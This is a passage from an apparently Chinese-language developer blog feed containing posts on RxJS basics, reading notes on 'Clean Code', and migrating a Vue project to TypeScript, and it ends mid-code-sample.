class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> { fromEvent } <span class="keyword">from</span> <span class="string">'rxjs'</span></span><br><span class="line"><span class="keyword">import</span> { map } <span class="keyword">from</span> <span class="string">'rxjs/operators'</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> button = <span class="built_in">document</span>.querySelector(<span class="string">'input'</span>)</span><br><span class="line"></span><br><span class="line">fromEvent(input, <span class="string">'input'</span>).pipe(</span><br><span class="line"> map(<span class="function"><span class="params">event</span> =></span> event.target.value)</span><br><span class="line">).subscribe(<span class="function"><span class="params">value</span> =></span> <span class="built_in">console</span>.log(value))</span><br></pre></td></tr></table></figure><p>在上面这个例子中,我们通过<code>fromEvent</code>这个创建操作符方法生成了一个<code>Observable</code>,并通过<code>map</code>操作符获取到了输入的值,并随之<code>subscribe</code>了这个<code>Observable</code>,在每次输入事件发生时打印出输入的值。<br>你可能会觉得,这也没什么神奇的嘛,不就是我们平常普通的事件回调换了一个写法嘛。<br>的确,在普通的单个异步事件处理中,Rxjs并没有什么特别的地方。别忘了我们前面提到的,Rxjs以流的形式处理数据,对于单次的事件来说,并不能形成时间线维度上流的概念,所以Rxjs并没有可以大展身手的地方<br>。<br>现在我们来更进一步,我们想实现一个比较常见的需求,在输入停止两秒后才进行响应,防止用户在输入过程中不停触发响应造成的性能浪费。<br>如果是普通的回调函数形式,我们可能需要自己来写一个<code>debounce</code>函数或者引入提供此功能的相关类库,来对用于响应的回调函数再封装一层从而实现延时响应。<br>但在<code>Rxjs</code>中,我们非常容易的通过一个操作符就可以实现这一需求。</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">fromEvent(input, <span class="string">'input'</span>).pipe(</span><br><span class="line"> debounceTime(<span class="number">200</span>),</span><br><span class="line"> map(<span class="function"><span class="params">event</span> =></span> event.target.value)</span><br><span class="line">).subscribe(<span class="function"><span class="params">value</span> =></span> <span class="built_in">console</span>.log(value))</span><br></pre></td></tr></table></figure><p>通过<code>debounceTime</code>操作符,我们顺利的实现了这个功能。<br>你可能觉得,这也只是一个小小的功能嘛,有什么神奇的。<br>那现在我们又来了一个需求,我们需要对输入的字符进行去重操作。此时如果你还是普通的回调形式来处理事件的话,可能回调函数已经嵌套了三层了。<br>但是使用<code>Rxjs</code>,非常简单的再加一个操作符:<br></p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">fromEvent(input, <span class="string">'input'</span>).pipe(</span><br><span class="line"> debounceTime(<span class="number">200</span>),</span><br><span class="line"> distinct(),</span><br><span class="line"> map(<span class="function"><span class="params">event</span> =></span> event.target.value)</span><br><span class="line">).subscribe(<span class="function"><span class="params">value</span> =></span> <span class="built_in">console</span>.log(value))</span><br></pre></td></tr></table></figure><p></p><p>是不是觉得<code>Rxjs</code>有点厉害了,但其实处理输入事件这种东西,还只是<code>Rxjs</code>功能的冰山一角而已。</p><p>我们来一个更复杂的需求,举例来说,我们有<code>api/a</code>,<code>api/b</code>,<code>api/c</code>三个<code>AJAX</code>请求,现在我们需要它们串行的发出,也就是前一个结束再发出下一个。<br>如果使用普通的回调函数形式,我们要这样写:</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">ajax(<span class="string">'api/a'</span>, () => {</span><br><span class="line"> ajax(<span class="string">'api/b'</span>, () => {</span><br><span class="line"> ajax(<span class="string">'api/c'</span>, () => {</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'complete'</span>)</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">})</span><br></pre></td></tr></table></figure><p>显而易见,在实际项目中处理请求结果的逻辑会相当复杂,这样一层套一层太恐怖了。比如现在我们需要在<code>api/b</code>和<code>api/c</code>请求之间再加一个<code>api/o</code>请求,你看着一堆叠罗汉一样的代码,肯定心里想的是,<del>甘霖娘***</del>这可咋整啊(小孩子不可以讲脏话哦)。</p><p>有的同学可能会说,用<code>Promise</code>不就得了。那我们就用<code>Promise</code>形式再重构一下上面这个回调地狱。</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">ajax(<span class="string">'api/a'</span>).then(<span class="function"><span class="params">_</span> =></span> {</span><br><span class="line"> <span class="keyword">return</span> ajax(<span class="string">'api/b'</span>)</span><br><span class="line">}).then(<span class="function"><span class="params">_</span> =></span> {</span><br><span class="line"> <span class="keyword">return</span> ajax(<span class="string">'api/c'</span>)</span><br><span class="line">}).then(<span class="function"><span class="params">_</span> =></span> {</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'complete'</span>)</span><br><span class="line">})</span><br></pre></td></tr></table></figure><p>可以看出,使用<code>Promise</code>大大提升了我们代码的可维护性,但是连续的<code>then</code>链也不是那么美观和易读。而且,它也并不是完美的。举例来说,现在我们突然接到需求,需要将三个串行的请求改成并行的,你会想,改成<code>Promise.all</code>不就行了。</p><p>但要明白的是,在实际项目中,我们每个请求的处理逻辑可不单单是这几行的代码量。你需要将每个请求的代码组合拼装成一个数组传递给<code>Promise.all</code>。面对着一两百行的代码,你心里又开始想了。好嘛!这可咋整。<br>那如果使用<code>Rxjs</code>是怎么解决的呢?看代码:</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> { concat, merge } <span class="keyword">from</span> <span class="string">'rxjs'</span></span><br><span class="line"><span class="keyword">import</span> { ajax } <span class="keyword">from</span> <span class="string">'rxjs/ajax'</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> ob1$ = ajax(<span class="string">'api/a'</span>)</span><br><span class="line"><span class="keyword">const</span> ob2$ = ajax(<span class="string">'api/b'</span>)</span><br><span class="line"><span class="keyword">const</span> ob3$ = ajax(<span class="string">'api/c'</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> obs = [ob1$, ob2$, ob3$]</span><br><span class="line"></span><br><span class="line"><span class="comment">//串行</span></span><br><span class="line">concat(...obs).subscribe(<span class="function"><span class="params">()</span> =></span> {})</span><br><span class="line"></span><br><span class="line"><span class="comment">//轻松的改成并行</span></span><br><span class="line">merge(...obs).subscribe(<span class="function"><span class="params">()</span> =></span> {})</span><br></pre></td></tr></table></figure><p>是不是非常优雅,非常清晰,非常NB?这就是Rxjs的强大之处,它通过引入<code>Js</code>中比较少见的流(<strong><em>stream</em></strong>)这个概念,将异步,队列,回调等等完美的归纳融合在一起形成了一个统一的异步事件处理模型。</p><p>当然,极高的抽象程度也意味者陡峭的学习曲线。不过不用担心,只要理解了<code>Rxjs</code>的思想,具体的细节语法,还是十分的统一和易懂的。</p><blockquote><p><strong><em>PS:</em></strong> 一般的,为了易于区分<code>Observable</code>对象,我们都会在表示<code>Observable</code>的变量结尾加上一个<code>$</code>符号。这也是使用<code>RxJs</code>中大家约定俗成的一个惯例,在这里提一下,防止有的同学看到一堆以<code>$</code>结束的变量一脸懵逼。</p></blockquote><p>OK,通过上面两个<code>Rxjs</code>在<code>DOM</code>事件和<code>HTTP</code>请求中的两个小场景介绍,大家应该在心里对<code>Rxjs</code>有了一个基本的概念和印象。其实这还不是<code>RxJs</code>真正大展身手的地方,当你需要在点击事件之后触发一个请求,取消之前发送但未返回的旧请求,当你想将两个请求的结果组合再作为参数发起另一个请求,或者当你想将某个状态广播给所有消费者但又想保证后续新加入的消费者不会错过以前的消息等等极其复杂和难以操控的场景,才是<code>RxJs</code>作为一个<strong><em>模型</em></strong>真正要解决和简化的问题。</p><p>当然,作为<code>Rxjs</code>系列博客的第一篇,主要想让大家对<code>Rxjs</code>的相关背景和一些基础的适用场景有一个大致了解,不会去直接探究和深入它的具体细节。</p><p>关于<code>Rxjs</code>是如何在代码层面实现这些看起来非常酷炫的展现出极高的抽象色彩的功能的?带着好奇心的学习总是会带来极高的效率。</p><p>我将会在下一篇博客中,重点介绍<code>Rxjs</code>的核心概念————<strong><em>Observable</em></strong>, 就是通过它,我们将所有的数据都转换为数据流的形式,从而优雅高效的以完全同步编程的方式来处理异步,极大简化了在时间线上错综复杂纠缠不清令人头疼的异步编程问题。</p><p>ok,谢谢阅读,我们下篇博客再见^-^。</p><!-- rebuild by neat -->]]></content>
<categories>
<category> 前端 </category>
</categories>
<tags>
<tag> 前端 </tag>
<tag> RxJs </tag>
</tags>
</entry>
<entry>
<title>《代码整洁之道》读书笔记(上)</title>
<link href="/2018/08/08/clean_code-note-1/"/>
<url>/2018/08/08/clean_code-note-1/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p>刚进入无二的时候,就被强烈推荐过这本《代码整洁之道》,一直想着去看去看,也终于是没看。前几天又被老大提起这事,想着也是该看一看,就趁一些段段续续的零散时间看完了这本广受美誉的书。</p><p>看完掩卷,也的确觉得这本书非常不错,虽然书里面示例代码都是用<code>Java</code>写的,也有一些内容是单纯关于<code>Java</code>的,但有些内容,不管是什么编程语言,是前端还是后端,看完都会有一些感悟和收获。</p><p>毕竟,不管什么语言,保持代码的高度精炼和整洁,都是非常有必要性。或者可以更严格的说,整洁的代码不一定是好代码,但好代码一定是整洁的。</p><p>这篇博客,是我在阅读的过程中,个人总结和记录的一些比较值得思考和遵循的一些内容,也算做是读书笔记吧。</p></blockquote><a id="more"></a><h3 id="命名"><a href="#命名" class="headerlink" title="命名"></a>命名</h3><p>命名,是编程过程中最常见的事情。但掌握好的命名方式和手法并不是一件容易的事情。<br>对于命名来说,最基本的原则是易读,易理解,易维护,尽可能的提高名称的准确性。<br>书中有大有小的提到了以下这些注意事项:</p><ul><li>名称要体现它本身要表达的意思或作者的意图,避免模糊不清</li><li>避免误导名称,例如那些带有类型的名称,如其实是个对象类型的<code>dataList</code>,和容易混淆字母的相近名称,如<code>loerror</code> 和 <code>Ioerror</code></li><li>使名称易读,尽量使用技术性词汇,而不是口头语和俗语,也不要使用耍宝类型的命名,例如<code>delete_yeye</code>。</li><li>尽量使用问题解决方案领域的命名,而不是业务领域的命名。因为在大多数情况下,知道这段代码做了什么比知道这段代码要解决什么业务问题重要。</li><li>使用易搜索的命名,这包括以下两点:<ul><li>非必要的情况,避免为名称加上相同前缀,而应该使用尽量小的类和函数来达到标注名称作用域的效果。</li><li>尽量避免使用易与其他词汇重复的命名,例如<code>e</code>。</li></ul></li><li>在非必要的情况下,别为命名加上类型标记。例如<code>ArrayUsers</code>这样毫无意义的废话。</li><li>类名应为名词</li><li>方法名应是动作</li><li>对同一个概念保持相同的词,例如不要混用<code>get</code>,<code>fetch</code>,<code>retrieve</code></li><li>为变量添加对应语境,例如<code>UserName</code>,<code>UserPhone</code>,而不是<code>Name</code>,<code>Phone</code>。但不要添加无意义的语境,例如为一个类中的所有属性加上类名前缀。</li></ul><blockquote><p>命名是编程过程中非常常见的一个动作,大部分人都是在不断的编程中,慢慢发现准确的表述和定义一个相关抽象的事务和操作为一个名称,其实是一件相当具有难度的事情。给一个函数一个贴切的名称,有时也会大大提高我们代码的清晰和整洁。<br>避免类似<code>isShow</code>,<code>isEdit</code>这种变量名,相比提升代码整洁度,提升后续维护这段代码的程序员的寿命大概是更直观的作用。。。。</p></blockquote><h3 id="函数"><a href="#函数" class="headerlink" title="函数"></a>函数</h3><ul><li><p>尽量保持短小,缩进层级不应太多,以一层或两层为宜。</p></li><li><p>只做一件事,应只专注于一个抽象层级,而不是跨越多个。同时尽量保证自顶向下的调用顺序,从而使函数顺序和抽象层级顺序相应。</p></li><li><p>使用描述性的函数名称,精炼的表达出函数做的事。在名称贴切的前提下,不要去担心函数名称的长度。</p></li><li><p>避免函数内部的时序性耦合,即避免函数在做一件事的过程中去做另一件在函数名称和参数上完全无法体现或者并非函数本质的事。(例如在一个检查用户名是否符合规范的函数中初始化用户密码</p></li><li><p>尽量分离函数的查询和指令,避免在一个函数中过度耦合。</p></li></ul><blockquote><p>在第一遍写函数时,很难将函数的层级和长度控制的非常好。所以,解决办法是,完成功能,写好测试,然后开始重构。<br>在最理想的情况下,函数要么只进行查询,要么只进行操作。当然,很多时候我们很难将函数都控制的如此理想,对于前端来说,因为数据和操作在大部分时间都是动态绑定的,就更难实现了。但,知道了什么是好的,然后尽量靠近,也是一件非常有助于提升自我的事情啦。</p></blockquote><h4 id="函数参数"><a href="#函数参数" class="headerlink" title="函数参数"></a>函数参数</h4><ul><li><p>避免多参数函数,尽量保证函数参数在三个以下,便于阅读和测试。</p></li><li><p>避免将标示性的布尔值作为参数传入函数(传入标识符无疑是在宣布函数并不单单做一件事</p></li><li><p>如果确实需要二元参数的函数,保证其名称准确,最好能体现参数顺序。</p></li><li><p>如无确实必要,避免使用三个参数及以上的函数</p></li></ul><h4 id="异常处理"><a href="#异常处理" class="headerlink" title="异常处理"></a>异常处理</h4><ul><li>使用异常代替返回错误码,这样可以避免对错误码的维护同时可以将错误在统一的地方捕获和处理而不是通过判断错误码来分别处理。</li><li>避免将<code>try/catch</code>和正常流程混杂在一起,尽量将<code>try/catch</code>单独抽离为一个异常处理函数。(错误处理就是一件事</li><li>尽量避免所有重复的部分,善用函数来抽象它们</li><li>在函数长度比较长时,遵循结构化规范,保证函数只有一个入口和出口。</li></ul><blockquote><p>在前端来说,封装请求层,然后在请求层统一过滤和处理错误,将异常捕捉和页面完全分离,可以大大的提升项目的可维护性。<br>千万避免在数据层,例如<code>vuex</code>中进行错误处理,否则等项目规模稍微一大,你就等着哭吧。</p></blockquote><h3 id="注释"><a href="#注释" class="headerlink" title="注释"></a>注释</h3><ul><li><p>注释相比代码,更容易说谎。因此,尽可能提高代码质量,从而能够减少注释量,记住,再好的注释也无法拯救烂代码。</p></li><li><p>注释最好只用来:</p><ul><li>传递必要的信息</li><li>解释意图</li><li>提供警示和告知及应被注意的重点位置</li><li>提供<code>TODO</code>(记得定期清理)</li></ul></li><li><p>避免以下类型的注释</p><ul><li>喃喃自语,不考虑阅读者的思路能否跟随</li><li>废话连篇或毫无价值</li><li>具有误导性的片面注释</li><li>刻意的遵循格式化注释</li><li>日志和署名注释或者注释掉的代码(记住我们有版本管理工具可用</li><li>位置标记,例如那种一行等号的注释,可以偶尔使用,但不能滥用。</li><li>花括号后的行内注释</li><li>相关的代码并不在注释所在位置,即非本地的注释</li></ul></li></ul><blockquote><p>在敏捷开发中其实比较推荐代码即注释的,但对于前端来说,我是真心觉得代码即注释很难实现,因为前端很难像后端那样将一些东西抽象到很高程度,毕竟你努力抽象半天,产品过来说,你在这给我再加个按钮,你的抽象可能就白抽了。所以很多时候,前端在涉及到比较细粒度的操作时,还是应该加一些注释的。</p></blockquote><h3 id="格式"><a href="#格式" class="headerlink" title="格式"></a>格式</h3><ul><li>保证项目文件和团队的代码格式统一</li><li>垂直格式,即文件长度,尽量不要太长。同时,代码的细节,应该自上而下逐步展开。</li><li>通过空行来进行垂直上的区隔,从而使代码和思路更清晰。</li><li>关系密切(例如互相调用的函数,处理相同任务不同状态的函数)的代码,在垂直距离上也应该距离更近。但像类的实例声明,还是应该集中于类的头部。</li><li>一行代码尽量不要超出120个字符</li><li>不必刻意通过空格来水平对齐</li><li>规范的缩进,保证代码嵌套层次清晰</li></ul><h3 id="对象和数据结构"><a href="#对象和数据结构" class="headerlink" title="对象和数据结构"></a>对象和数据结构</h3><ul><li><p>做数据抽象,暴露接口,隐藏实现。</p></li><li><p>面向对象将数据隐藏起来,提供操作数据的函数。面向过程直接处理数据结构。<br>举例来说,有多个几何形状正方形,圆形,三角形,计算面积。<br>采用面向过程的方法,我们定义三种数据结构和一个计算面积的方法,调用计算面积的方法,传入形状,判断形状再计算面积。我们非常容易再添加计算边长的方法,但如果我们新加形状,就必须修改现有所有和形状有关的方法。<br>采用面向对象的方法,我们定义三种对象,每个对象有自己的计算面积方法。非常容易添加新的形状,但如果我们想添加计算边长的方法,就需要去修改每个对象。</p></li><li><p>面向对象更抽象,易于添加新类型,改动对应类型的方法,但难于为所有类型添加新方法。</p></li><li><p>面向过程易于为所有类型添加新方法,但添加新类型需要修改现有所有方法。</p></li><li><p>当形状的方法增加频繁时,例如计算面积,计算周长,计算边数等等等,使用数据结构和面向过程的方式,当形状的种类变化频繁时,例如增加长方形,增加菱形等等,使用对象和面向对象的方式。</p></li><li><p>在工作中,不带偏见的根据工作性质和需求来选择面向对象和过程的其中一个解决问题。</p></li><li><p>避免混杂对象和数据结构。数据结构中并未完全不能定义方法,但必须避免将业务方法代码封装在诸如<code>active record</code>这种数据结构中,非常容易造成难以挽救的混乱。</p></li><li><p>得墨忒定律,即对象方法应该只跟邻居对话,不与陌生人交谈。邻居有以下几个定义:</p><ul><li>类与其实例出的对象</li><li>函数与传递给它的参数</li><li>对象和对象的属性<br>类似<code>a().b().c()</code>的调用方式是不推荐的。<br>对于数据结构来说,因为它直接暴露了自身,所以得墨忒定律是不适用的。</li></ul></li></ul><h3 id="错误处理"><a href="#错误处理" class="headerlink" title="错误处理"></a>错误处理</h3><ul><li>保证错误处理的条理和与业务逻辑的区隔,避免凌乱,防止其打乱正常的代码逻辑</li><li>使用异常而不是错误标识(例如错误码), 因为异常我们可以统一捕获和处理而不打乱正常逻辑</li><li>将<code>try</code>中的代码当做事务,而<code>catch</code>中的代码则是事务状态的保证</li><li>保证异常携带充分的错误信息</li><li>通过打包封装<code>API</code>来将异常控制在特定的区域</li><li>不要返回<code>NULL</code>值,这会造成后续的所有代码都陷入不断判断<code>NULL</code>值的尴尬境地,抛出异常或者返回一个特例对象来代替返回<code>NULL</code>值。</li><li>不要定义显式可接收<code>NULL</code>值的函数,保证所有函数都是禁止接收<code>NULL</code>值的,从而在真正出现<code>NULL</code>值的函数参数时就可以明确的知道发生了错误。</li></ul><h3 id="边界"><a href="#边界" class="headerlink" title="边界"></a>边界</h3><p>第三方库通常都追求普适性,但我们在使用时则想满足特定需求,这就需要我们保证代码良好的边界。</p><ul><li>通过封装来修整第三方库或者依赖,从而保证第三方库的边界不会深入系统。</li><li>通过完善的测试来覆盖第三方库的调用,从而能够保证第三方库不断升级过程中仍与系统的兼容,而不是只能长久的绑定在旧版本上。</li><li>对于第三方库这种我们无法控制的代码,保证整洁的边界能大大降低我们在未来改动和更新依赖的代价。</li></ul><h3 id="单元测试"><a href="#单元测试" class="headerlink" title="单元测试"></a>单元测试</h3><ul><li>测试驱动开发,即<code>TDD</code>,能够大大降低代码修改和迭代的代价。它需要保证以下三条定律:<ul><li>先写测试,后写代码</li><li>只编写刚刚开始无法通过的测试</li><li>只编写刚刚开始通过测试的代码<br>这也就意味着我们的测试和代码互相推动着同时前进。</li></ul></li><li>测试代码同样要保证整洁,可维护。</li><li>测试代码最重要的是可读性。保证测试代码的简明和有力。</li><li>测试代码并不需要很多生产代码的限制,例如性能方面,并不那么重要。</li><li>每个测试只测试一个概念。</li><li>好的测试,要保证<code>F.I.R.S.T</code>特性<ul><li>快速<strong>Fast</strong>,保证测试够快,才能频繁运行</li><li>独立<strong>Independent</strong>,测试应该独立而不能互相依赖。</li><li>可重复<strong>Repeatable</strong>,测试应该在各种环境中都能通过。</li><li>自足验证<strong>Self-Validating</strong> 测试应该只客观的返回成功或失败</li><li>及时<code>Timely</code>,测试应该刚刚好在开发的前面一点点,不能落后</li></ul></li></ul><blockquote><p>测试,是保证代码可维护,可扩展,可复用的生命力的最有力工具。拥抱测试,就是在拥抱代码的健壮性,为代码延长寿命。但很可惜,大家都知道测试好,但都被需求的鞭子追着跑,管不了,唉,一声叹息。</p></blockquote><h3 id="类"><a href="#类" class="headerlink" title="类"></a>类</h3><ul><li><p>除非测试需要访问,否则尽量将类的属性和方法设置为私有的,提升类的封装能力。</p></li><li><p>类应该和函数一样,尽量保持其的短小,避免涉及到各种公用方法和属性的<strong>神之类</strong>。一定规模的系统都会包含大量的逻辑和复杂性,通过组织短小单一的类,可以将特定时间和范围内的维护复杂性降低。</p></li><li><p>类的名称应该精确描述其权责,避免名称中出现<code>if</code>,<code>and</code>,<code>but</code>,<code>or</code>等关系词汇。当出现类似词汇时,说明类具有了太多权责。<br>类应该遵循单一权责原则<strong><em>SRP</em></strong>:类或模块应该只有一条修改的理由。</p></li><li><p>通过方法覆盖仅可能多的类变量来保持类的内聚性,当方法只能覆盖一部分类变量时,说明我们需要将类拆分为更短小更内聚的类。</p></li><li><p>类应该对修改封闭,对扩展开发。即我们使用许多内聚性较高的类,在新增功能时,就可以更多的通过增加代码实现,而可以较少的去修改代码,</p></li></ul><blockquote><p><code>Vue</code>中组件和类非常像,<code>Angular</code>中,组件就是个类。因此,对于前端组件来说,类的很多东西也是可以套用的。比如避免命名中有<code>if</code>,<code>or</code>,有这种单词时,说明组件是应该被拆分的。避免有N多功能的神之组件,使组件自身方法覆盖更多部分的组件数据,从而促使自己去拆分数据,提升组件的内聚程度等等,本书中关于<code>Java</code>类的一些内容,倒是触类旁通的让我对<code>Vue</code>组件的认识又加深了一些。</p></blockquote><p>总的来说,《代码整洁之道》这本书真的是非常不错的一本提升程序员编程水平和认知的书,认真的读下来,让人受益匪浅,很多道理,也可以看出是作者长久编程中悟出来的,能让我等菜鸟少走许多弯路。<br>当然,提升代码整洁和可读性,不是通过看会书就能学会的。最重要的,还是多写多写再多写,在写的过程中不断反思和总结,将书中的内容融会贯通,才能成为真正的好程序员,与大家共勉。</p><!-- rebuild by neat -->]]></content>
<categories>
<category> 其他 </category>
</categories>
<tags>
<tag> 自我提升 </tag>
</tags>
</entry>
<entry>
<title>使用 TypeScript 构建 Vue 项目</title>
<link href="/2018/07/23/vue-with-typescript/"/>
<url>/2018/07/23/vue-with-typescript/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p>随着 TypeScript 的热度越来越高,Vue 官方提供的 TypeScript 支持也越来越多,Vue-CLI 3.0 更是直接提供了使用 TypeScript 来创建一个新工程的功能。</p><p>使用 Vue 进行开发也已经有半年的时间了,也非常怀念当时拿 TypeScript 写 Angular 的那种得心应手的舒畅,因此,在这个周末,花了一下午时间,将手头的一个 Vue 小 Demo 从 Js 修改成 Ts,打算看一下,Vue的 TypeScript 开发,到底靠谱不靠谱。</p><p>本篇博客,就来记录一下项目升级到 TypeScirpt 中的一些重点和遇到的坑吧。</p></blockquote><a id="more"></a><h3 id="项目搭建"><a href="#项目搭建" class="headerlink" title="项目搭建"></a>项目搭建</h3><h4 id="新建项目"><a href="#新建项目" class="headerlink" title="新建项目"></a>新建项目</h4><p>首先,我尝试将原有的 <code>Vue</code> 项目直接改动到 <code>TypeScript</code>,但发现改造起来是比较麻烦的,需要再去安装各种相关依赖,调整打包配置,修改组件的代码写法。</p><p>所以我决定直接新建一个 <code>TypeScript</code>的 <code>Vue</code>项目,然后将旧项目迁移过来。</p><p>在<code>Vue-CLI 3.0</code> 中,提供了直接创建一个 <code>TypeScript</code>项目的功能。具体如下:</p><ol><li><p>如果未安装<code>Vue-CLI</code>,直接使用下面命令安装</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm install -g @vue-cli</span><br></pre></td></tr></table></figure></li><li><p>如果已安装,使用下面命令新建一个 <code>Vue</code> 项目,创建时选择<strong><em>手动选择特性(Manually select features)</em></strong>选项来添加<code>Typescript</code>支持。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vue create my-project-name</span><br></pre></td></tr></table></figure></li></ol><p>通过上面的命令,我们就创建了一个新的有<code>TypeScript</code>支持的 <code>Vue</code>项目。</p><h3 id="迁移旧项目"><a href="#迁移旧项目" class="headerlink" title="迁移旧项目"></a>迁移旧项目</h3><p>当然,如果我们想将旧的<code>Vue</code>项目改造为新的项目的话,虽然比较麻烦,但也是可行的。需要以下几个步骤:</p><ol><li><p><code>npm</code> 安装<code>TypeScript</code></p></li><li><p><code>npm</code>安装 <code>ts-loader</code>,用于为<code>webpack</code>提供 <code>.ts</code> 文件的打包编译支持</p></li><li><p>修改<code>webpack</code>的<code>rules</code>配置,添加关于打包<code>.ts</code>文件的配置。类似如下:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">{</span><br><span class="line"> test: <span class="regexp">/\.ts$/</span>,</span><br><span class="line"> loader: <span class="string">'ts-loader'</span>,</span><br><span class="line"> options: {</span><br><span class="line"> appendTsSuffixTo: [<span class="regexp">/\.vue$/</span>],</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>同时修改<code>extensions</code>选项,添加<code>.ts</code>声明,使打包时可以识别<code>.ts</code>文件。</p></li><li><p>创建 Ts 的项目配置文件 <code>tsconfig.json</code>,需要注意的是,尽量打开配置的<code>strict</code>模式,才能保证<code>Ts</code>对类似<code>this</code>的类型检查。更多的配置项,例如支持<code>JSX</code>,生成<code>sourceMap</code>文件等选项,可以自行查看<a href="https://www.tslang.cn/docs/handbook/tsconfig-json.html" target="_blank" rel="noopener">Typescript配置项文档</a></p></li><li><p>将项目打包入口文件<code>main.js</code>修改为<code>main.ts</code></p></li><li><p>增加<code>Vue</code>文件的类型声明。因为<code>Typescript</code>是不支持<code>Vue</code>文件的,所以我们通过自定义的将<code>Vue</code>文件声明为一个模块,来保证<code>Ts</code>对其的正确处理。</p><p>定义一个<code>vue-shims.d.ts</code>文件,放在项目任意位置,内容如下</p><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">declare</span> <span class="keyword">module</span> '*.vue' {</span><br><span class="line"> <span class="keyword">import</span> Vue <span class="keyword">from</span> <span class="string">'vue'</span></span><br><span class="line"> <span class="keyword">export</span> <span class="keyword">default</span> Vue</span><br><span class="line">}</span><br></pre></td></tr></table></figure></li></ol><p>通过以上几步,项目的<code>Typescript</code>配置就算完成了,通过将<code>.vue</code>文件的<code><script lang="js"></code>标签修改为<code><script lang="ts"></code>,就可以开始在项目中开始使用<code>typescript</code>了。</p><h3 id="代码编写"><a href="#代码编写" class="headerlink" title="代码编写"></a>代码编写</h3><h4 id="vue-class-component"><a href="#vue-class-component" class="headerlink" title="vue-class-component"></a><strong><em>vue-class-component</em></strong></h4><p>使用 <code>Ts</code>编写 <code>Vue</code>代码,<code>Vue</code> 官方提供了一个库 <a href="https://github.com/vuejs/vue-class-component" target="_blank" rel="noopener">Vue-class-component</a>,用于让我们使用<code>Ts</code>的类声明方式来编写<code>vue</code>组件代码。</p><p>这个库提供了一个<code>@Component</code>装饰器,基本使用方法如下:</p><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> Vue <span class="keyword">from</span> <span class="string">'vue'</span></span><br><span class="line"><span class="keyword">import</span> Component <span class="keyword">from</span> <span class="string">'vue-class-component'</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@Component</span>({</span><br><span class="line"> props: {</span><br><span class="line"> propMessage: <span class="built_in">String</span></span><br><span class="line"> }</span><br><span class="line">})</span><br><span class="line"><span class="keyword">export</span> <span class="keyword">default</span> <span class="keyword">class</span> App <span class="keyword">extends</span> Vue {</span><br><span class="line"> <span class="comment">// initial data</span></span><br><span class="line"> msg = <span class="number">123</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">// use prop values for initial data</span></span><br><span class="line"> helloMsg = <span class="string">'Hello, '</span> + <span class="keyword">this</span>.propMessage</span><br><span class="line"></span><br><span class="line"> <span class="comment">// lifecycle hook</span></span><br><span class="line"> mounted () {</span><br><span class="line"> <span class="keyword">this</span>.greet()</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 